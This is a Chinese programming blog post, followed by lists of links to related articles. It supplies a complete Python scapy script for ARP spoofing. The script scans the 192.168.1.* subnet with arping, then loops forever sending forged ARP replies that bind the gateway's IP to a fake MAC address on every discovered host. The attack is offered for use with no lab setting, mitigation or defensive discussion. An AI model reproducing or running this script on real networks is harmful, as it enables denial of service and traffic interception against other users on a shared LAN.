python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
用smtplib和email封装python发送邮件模块类分享
Feb 17 Python
python在指定目录下查找gif文件的方法
May 04 Python
用Python实现随机森林算法的示例
Aug 24 Python
在Python的一段程序中如何使用多次事件循环详解
Sep 07 Python
python清除函数占用的内存方法
Jun 25 Python
pytorch-神经网络拟合曲线实例
Jan 15 Python
浅谈keras的深度模型训练过程及结果记录方式
Jan 24 Python
python mysql中in参数化说明
Jun 05 Python
Ubuntu16安装Python3.9的实现步骤
Dec 15 Python
在python中实现导入一个需要传参的模块
May 12 Python
python 中yaml文件用法大全
Jul 04 Python
Python实现照片卡通化
Dec 06 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
一个简单php扩展介绍与开发教程
2010/08/19 PHP
深入PHP中的HashTable结构详解
2013/06/13 PHP
PHP人民币金额转大写实例代码
2015/10/02 PHP
php静态成员方法和静态的成员属性的使用方法
2017/10/26 PHP
js 页面执行时间计算代码
2009/03/04 Javascript
js格式化货币数据实现代码
2013/09/04 Javascript
javascript控制Div层透明属性由浅变深由深变浅逐渐显示
2013/11/12 Javascript
浅析JS中document对象的一些重要属性
2014/03/06 Javascript
JavaScript实现把数字转换成中文
2015/06/29 Javascript
Node.js+Express配置入门教程详解
2016/05/19 Javascript
Jquery遍历select option和添加移除option的实现方法
2016/08/26 Javascript
bootstrap datetimepicker日期插件使用方法
2017/01/13 Javascript
Angular利用内容投射向组件输入ngForOf模板的方法
2018/03/05 Javascript
ES6顶层对象、global对象实例分析
2019/06/14 Javascript
通过实例了解Javascript柯里化流程
2020/03/03 Javascript
js 将多个对象合并成一个对象 assign方法的实现
2020/09/24 Javascript
python 正则式使用心得
2009/05/07 Python
python中abs&map&reduce简介
2018/02/20 Python
pyqt5 从本地选择图片 并显示在label上的实例
2019/06/13 Python
python读写csv文件并增加行列的实例代码
2019/08/01 Python
Python 实现数组相减示例
2019/12/27 Python
sklearn线性逻辑回归和非线性逻辑回归的实现
2020/06/09 Python
python按顺序重命名文件并分类转移到各个文件夹中的实现代码
2020/07/21 Python
html5中svg canvas和图片之间相互转化思路代码
2014/01/24 HTML / CSS
巴西在线鞋店:Shoestock
2017/10/28 全球购物
中学家长会邀请函
2014/02/03 职场文书
市场营销专业毕业生求职信
2014/03/26 职场文书
党支部书记四风问题整改措施
2014/09/24 职场文书
怎么写工作检讨书
2014/11/16 职场文书
长江三峡导游词
2015/01/31 职场文书
2015小学师德工作总结
2015/07/21 职场文书
2016婚礼主持词开场白
2015/11/24 职场文书
自荐信大全
2019/03/21 职场文书
Mysql 8.x 创建用户以及授予权限的操作记录
2022/04/18 MySQL
PYTHON基于Pyecharts绘制常见的直角坐标系图表
2022/04/28 Python
Android中的Launch Mode详情
2022/06/05 Java/Android